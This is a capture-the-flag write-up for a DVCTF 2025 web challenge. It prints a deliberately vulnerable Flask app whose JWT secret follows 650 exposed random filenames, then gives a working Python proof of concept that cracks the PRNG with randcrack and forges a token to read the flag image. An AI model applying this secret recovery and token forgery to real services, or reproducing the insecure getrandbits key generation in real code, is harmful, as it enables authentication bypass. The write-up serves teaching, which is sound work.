# DVCTF 2025 Web Challenge Write-Up (Medium Level) ## Challenge Overview The challenge is a Flask-based web application running on port 10020. The goal is to retrieve a flag, likely stored in an image file (flag.webp), by exploiting vulnerabilities in the application's JWT authentication and random number generation. So below is the source code ```app.py```: ```python= from flask import Flask, jsonify, abort, make_response, render_template, request from os import path import jwt import datetime import random import base64 def generate_random_filename(): rdn = random.getrandbits(32) return f"{rdn}.webp" image_list = [generate_random_filename() for _ in range(650)] app = Flask(__name__) app.config['SECRET_KEY'] = str(random.getrandbits(32)) def generate_jwt(): payload = { 'sub': 'user_id', 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1), 'iat': datetime.datetime.utcnow(), 'profilepicture': f'./images/image.webp' } header = { 'alg': 'HS256', 'typ': 'JWT' } token = jwt.encode( payload, app.config['SECRET_KEY'], algorithm='HS256', headers=header ) return token def verify_jwt(token): try: payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) return payload except jwt.ExpiredSignatureError: print("ExpiredSignatureError") return False except jwt.InvalidTokenError: print("InvalidTokenError") return False def encode_image_to_base64(image_path): with open(image_path, "rb") as image_file: return base64.b64encode(image_file.read()).decode('utf-8') @app.route('/', methods=['GET']) def home(): token = request.cookies.get('token') if token: print("verifying token: ",token) payload = verify_jwt(token) if payload: image_path = payload.get('profilepicture') print(image_path) if path.exists(image_path): image_base64 = encode_image_to_base64(image_path) if image_path.endswith('.webp') else encode_image_to_base64(f'./images/image.webp') else: image_base64 = encode_image_to_base64(f'./images/image.webp') return render_template('index.html', image_base64=image_base64) else: new_token = generate_jwt() new_payload = verify_jwt(new_token) new_image_path = new_payload.get('profilepicture') new_image_base64 = encode_image_to_base64(new_image_path) response = make_response(render_template('index.html',image_base64=new_image_base64)) response.set_cookie('token', new_token) return response else: token = generate_jwt() payload = verify_jwt(token) image_path = payload.get('profilepicture') image_base64 = encode_image_to_base64(image_path) response = make_response(render_template('index.html', image_base64=image_base64)) response.set_cookie('token', token) return response @app.route('/images', methods=['GET']) def get_all_images(): return jsonify({'images': image_list}) if __name__ == '__main__': app.run(host='0.0.0.0', port=10020) ``` ## Source Code Analysis The provided Flask application has the following key components: 1. __Random Filename Generation__: The ```generate_random_filename()``` function uses ```random.getrandbits(32)``` to generate 650 random filenames in the format ```<random_number>.webp```, stored in ```image_list```. Then, we can get this list via ```/images``` endpoint. 2. __Secret Key Generation__: After genertate 650 random filenames above, the Flask app's ```SECRET_KEY``` is set using ```str(random.getrandbits(32))```, a 32-bit random number generated at startup. 3. __JWT Handling__: The JWT is signed using the HS256 algorithm with the ```SECRET_KEY```. That decided which ```*.webp``` will be used in ```index.html```. ## Vulnerability Identification The key vulnerabilities are: 1. __PRNG__: The ```random``` library in Python uses a pseudo-random number generator. If we have enough states, we can *crack* the random generator and *predict* its future states. As mentioned above, this challenge provided me with 650 states (through generating image names). 2. __JWT Forge__: The ```SECRET_KEY``` is generated after generating the filenames. Therefore, if we crack the randomness, we can determine the key, making it easy to forge the JWT. ## Exploit After some research on Github, I found this repo for cracking the Python randomness: [Python-random-module-cracker](https://github.com/tna0y/Python-random-module-cracker). Absolute cinema 🤺 !!!. So this is my exploitation strategy: 1. Retrieve the list of filenames from ```/images```. 2. Use the random numbers in the filenames to predict the PRNG state. 3. Recover the ```SECRET_KEY```. 4. Forge a JWT with profilepicture set to ```./images/flag.webp```. 5. Use the forged JWT to access the flag image. ## PoC This is my PoC: ```python= from randcrack import RandCrack #type: ignore from img import * import jwt import datetime img_id = [x.split('.')[0] for x in img_lst] rc = RandCrack() for item in img_id[26:]: rc.submit(int(item)) secret = str(rc.predict_randrange(0, 4294967295)) print(f"[+] Secret: {secret}") def generate_jwt(): payload = { 'sub': 'user_id', 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1), 'iat': datetime.datetime.utcnow(), 'profilepicture': f'./images/flag.webp' } header = { 'alg': 'HS256', 'typ': 'JWT' } token = jwt.encode( payload, secret, algorithm='HS256', headers=header ) return token print(f"[+] Token: {generate_jwt()}") ``` This is my first public write-up, so it may contain some mistakes. I’m very grateful to receive any feedback or suggestions to help me improve.🍀